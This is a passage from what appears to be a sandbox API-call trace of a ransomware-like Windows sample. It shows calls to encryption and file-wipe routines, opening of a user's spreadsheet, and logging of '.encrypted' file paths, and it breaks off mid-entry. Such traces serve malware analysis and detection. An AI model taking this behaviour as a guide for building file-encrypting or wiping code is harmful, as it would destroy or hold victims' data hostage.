[0024.754] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.754] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.754] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.754] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.754] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.754] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.754] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.754] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.754] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.754] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.754] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.754] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.754] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.754] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.754] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.754] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.754] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.754] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.754] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.755] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0024.755] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.755] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.755] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.755] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.755] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.755] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.755] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.756] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.756] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.756] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0024.756] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.756] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.756] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.756] CharLowerBuffW (in: lpsz="byte[26020]", cchLength=0xb | out: lpsz="byte[26020]") returned 0xb [0024.756] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.756] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0024.756] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.756] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0024.757] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.757] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.757] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.757] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0024.757] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.757] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.757] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.757] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.757] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.757] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.757] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.757] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.757] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.757] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.757] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.757] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.757] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.757] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.757] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.757] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.757] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0024.758] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.758] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.758] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.758] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0024.758] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.758] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.759] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.759] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.759] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.759] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.759] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0024.759] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.759] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.759] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.759] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.759] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.760] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.760] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.760] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.760] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.760] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.760] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.760] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0024.761] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=4073) returned 1 [0024.761] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.761] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0024.761] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0024.761] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0xfe9, lpOverlapped=0x0) returned 1 [0024.761] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0024.761] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xfe9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.761] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=4073) returned 1 [0024.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\LXe-5p6iU.encrypted.pdf\r\n", cchWideChar=68, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 68 [0024.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\LXe-5p6iU.encrypted.pdf\r\n", cchWideChar=68, lpMultiByteStr=0xe8f4052170, cbMultiByte=68, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\LXe-5p6iU.encrypted.pdf\r\n", lpUsedDefaultChar=0x0) returned 68 [0024.761] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f406a370*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f406a370*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x43, lpOverlapped=0x0) returned 1 [0024.762] CloseHandle (hObject=0x1fc) returned 1 [0024.762] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.762] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.763] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.763] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.763] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.763] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0024.763] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.764] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0024.764] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178980, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0024.764] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0024.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178a00, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0024.764] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0024.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\Mz7EF7dcig3 gnT3v.xls", cchWideChar=64, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0024.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\Mz7EF7dcig3 gnT3v.xls", cchWideChar=64, lpMultiByteStr=0xe8f4051720, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\Mz7EF7dcig3 gnT3v.xls", lpUsedDefaultChar=0x0) returned 64 [0024.765] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\Mz7EF7dcig3 gnT3v.xls" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\qhhai\\mz7ef7dcig3 gnt3v.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0024.765] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=64, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 64 [0024.765] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=64, lpWideCharStr=0xe8f40684b0, cchWideChar=64 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\Mz7EF7dcig3 gnT3v.xls") returned 64 [0024.765] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.766] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.766] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.766] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0024.766] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178500, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0024.766] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0024.766] CloseHandle (hObject=0x1fc) returned 1 [0024.767] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.767] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.767] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.767] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0024.767] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.767] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0024.767] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0024.767] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.767] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.767] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.767] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.767] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.767] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.767] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0024.767] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.767] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.767] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.768] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.768] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.768] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.768] PeekMessageW (in: lpMsg=0xe8f3dfee40, 